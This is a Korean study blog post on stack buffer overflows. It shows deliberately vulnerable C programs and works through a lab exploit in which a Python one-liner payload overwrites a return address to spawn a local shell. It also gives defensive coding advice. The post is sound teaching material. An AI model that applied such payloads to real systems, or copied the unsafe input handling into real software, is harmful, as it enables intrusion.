본문 바로가기

SYSTEM HACKING

[SWING] Pwnable 02 - Stack Buffer Overflow

 

오버플로우는 세계에서 4번째로 많이 발견된 취약점이다.

 

CVE

 

스택 오버플로우: 스택이 너무 많이 확장되어서 발생하는 버그

스택 버퍼 오버플로우: 버퍼 크기보다 많은 데이터가 입력되어 발생하는 버그

 

버퍼 오버플로우

 

Buffer:

완충 장치라는 뜻으로, 컴퓨터에서는 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소

데이터 처리 속도가 다른 장치 사이를 오가는 데이터를 임시로 저장

(ex. 키보드 입력 속도보다 느리게 데이터가 처리되는 프로그램에서 데이터 유실을 방지)

버퍼링이 여기서 유래

 

버퍼 오버플로우는 스택의 버퍼에서 발생하는 오버플로우이다.

버퍼는 메모리상에 연속적으로 할당되는 것이 일반적이므로, 어떤 버퍼가 넘치면 뒤에 있는 버퍼들의 값이 조작될 위험이 있다.

 

 

중요 데이터 변조

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_auth(char *password) {               
    int auth = 0;
    char temp[16];                             //password가 16바이트 넘으면 오버플로우
    
    strncpy(temp, password, strlen(password)); //인자로 넘겨받은 password를 temp에 복사
    
    if(!strcmp(temp, "SECRET_PASSWORD"))       //SECRET_PASSWORD와 같으면 auth=1 다르면 auth=0 리턴
        auth = 1;
    
    return auth;
}
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))                 //argv[1]을 인자로 check_auth 함수 호출
        printf("Hello Admin!\n");            //리턴 값이 1이면 출력
    else
        printf("Access Denied!\n");          //리턴 값이 1이 아니면 출력
}

 

sbof_auth.c의 코드이다.

해석은 주석으로 달았다.

 

 

 

16바이트 넘게 입력하자 auth 값이 1로 조작되며 출력값이 Access Denied! 에서 Hello Admin! 으로 바뀌었다.

 

 

데이터 유출

 

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void) {
  char secret[16] = "secret message";
  char barrier[4] = {};                 //secret과 name 변수 사이 4바이트 NULL 바이트
  char name[8] = {};                    //name 문자열은 8바이트
  memset(barrier, 0, 4);
  printf("Your name: ");
  read(0, name, 12);                    //name 변수에 12바이트 입력 받아서 오버플로우
  printf("Your name is %s.", name);
}

 

 

name 변수에 12바이트 크기 문자열을 입력하면 8바이트 문자열보다 4바이트 초과한 값이 barrier의 NULL 바이트를 덮어 제거한다.

 

실행 흐름 조작

 

#include <stdio.h>
#include <stdlib.h>
int main(void) {
    char buf[8];
    printf("Overwrite return address with 0x4141414141414141: ");
    gets(buf);
    return 0;
}

 

함수를 호출할 때 RET에 돌아갈 주소를 저장하고 반환될 때 RET의 주소를 꺼내 원래 실행 흐름으로 돌아간다.

RET 값을 조작하면 프로그램 실행 흐름을 조작할 수 있다.

 

 

 

인터렉티브 모듈을 활용해 main 함수의 반환 주소를 0x4141414141414141로 변경한다.

buffer와 SFP를 B로 덮고 return address를 A로 덮어 실행 흐름을 조작하면 Success!

 

Exploit Tech: Return Address Overwrite

Exploit Tech: Return Address Overwrite

 

스택 버퍼 오버플로우 -> 반환 주소 조작

취약점 공격 & 쉘 획득 실습

 

#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

 

취약점은 scanf("%s", buf)에 있다.

 

scanf 함수 포맷 스트링 중 하나인 %s 의 특징:

- 문자열을 입력받음

- 입력 길이를 제한하지 않음

- 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력받음

=> 버퍼의 크기보다 큰 데이터가 입력되면 오버플로우 발생!

 

scanf에 %s 포맷 스트링은 사용을 권장하지 않으며, 입력받는 문자의 개수를 명시하는 "%[n]s" 형태로 사용할 것.

 

strcpy, strcat, sprintf 등 버퍼를 다루면서 길이를 입력하지 않는 함수는 대부분 위험하다.

strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하다.

 

트리거

: 취약점을 발현시키는 것

 

 

A를 5개 입력 -> 정상적으로 종료

A를 64개 입력 -> 비정상적으로 종료

 

Segmentation fault 에러: 프로그램이 잘못된 메모리 주소에 접근하여 버그 발생

core dumped: 프로그램이 비정상 종료되었을 때 운영체제가 디버깅을 위해 코어 파일을 생성함

 

코어 파일 분석

 

 

스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')라는 것을 알 수 있다.

= 실행 불가한 메모리 주소 -> Segmentation fault 발생

 

원하는 코드 주소가 되도록 입력하면 main 함수에서 반환될 때 원하는 코드가 실행되도록 조작 가능

 

스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜 반환 주소를 덮으려면, 해당 버퍼가 스택 프레임에서 어디에 위치하는지 알아야 한다.

main의 어셈블리 코드에서 scanf에 인자를 전달하는 부분을 주의깊게 보자.

 

 

=> 의사 코드.ver:

scanf("%s", (rbp-0x30));

 

오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다.

스택 프레임의 구조에서는,

rbp < SFP

rbp+0x8 < 반환 주소

 

입력 버퍼와 반환 주소 사이 거리가 0x38이므로,

그만큼을 dummy data로 채우고 실행하려는 코드 주소를 입력

-> 실행 흐름 조작

 

 

 

get_shell() 주소 확인

 

0x4011dd

 

페이로드 구성

: 공격을 위해 프로그램에 전달하는 데이터

 

페이로드
페이로드에 의해 오염되는 스택 프레임

 

엔디언 적용

: 메모리에서 데이터가 정렬되는 방식

 

 

데이터의 가장 왼쪽 바이트(MSB, Most Significant Byte)가 저장되는 곳은?

리틀 엔디언: 가장 높은 주소에 저장

빅 엔디언: 가장 낮은 주소에 저장

 

#include <stdio.h>
int main() {
  unsigned long long n = 0x4006aa;
  printf("Low <-----------------------> High\n");
  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
  return 0;
}

 

 

인텔 x86-64 아키텍처 대상이므로, get_shell() 주소인 0x4011dd는 "\xdd\x11\x40\x00\x00\x00\x00\x00"로 전달

 

익스플로잇

 

 

(python3 -c
"import sys; sys.stdout.buffer.write(b'A'*0x30+ b'B'*0x08+b'\xdd\x11\x40\x00\x00\x00\x00\x00')"
;cat) | ./rao2

 

쉘 획득 성공~